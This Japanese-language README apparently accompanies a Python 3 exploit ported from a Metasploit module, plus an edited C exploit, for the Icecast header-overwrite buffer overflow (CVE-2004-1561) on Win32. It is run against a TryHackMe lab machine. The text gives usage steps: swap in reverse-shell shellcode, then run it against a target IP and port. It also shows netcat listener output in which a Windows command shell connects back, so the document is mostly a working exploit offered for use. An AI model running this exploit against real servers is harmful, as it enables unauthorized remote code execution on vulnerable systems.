CVE-2004-1561 Icecast ヘッダー上書きバッファオーバーフロー RCE < 2.0.1 (Win32)

Python 3 による Icecast ヘッダー上書きバッファオーバーフロー RCE < 2.0.1 (Win32) エクスプロイトで、このMetasploit モジュールから書き直したものです。こちらが動作しなかったため、Metasploit モジュールから書き直しました。

使用方法:

エクスプロイト内のリバースシェル用シェルコードを置き換え、リモートサーバーとポートを引数として指定して実行します。

root@Kali:~/TryHackme/Ice# ./icecast.py 192.168.92.133 8000

Done!

リバースシェルリスナー:

root@Kali:~/TryHackme/Ice# nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.92.128] from (UNKNOWN) [192.168.92.133] 49211
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Program Files (x86)\Icecast2 Win32>

568-edit.c の更新

元のエクスプロイトを動作させることができました。こちらに従って編集しました。

568-edit.c の使用方法

root@Kali:~/TryHackme/Ice# gcc 568-edit.c -o 568
root@Kali:~/TryHackme/Ice# ./568 192.168.92.133

Icecast <= 2.0.1 Win32 remote code execution 0.1
by Luigi Auriemma
e-mail: [email protected]
web:http://aluigi.altervista.org

shellcode add-on by Delikon
www.delikon.de

- target 192.168.92.133:8000
- send malformed data

Server IS vulnerable!!!

リスナー側:

root@Kali:~# nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.92.128] from (UNKNOWN) [192.168.92.133] 49238
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Program Files (x86)\Icecast2 Win32>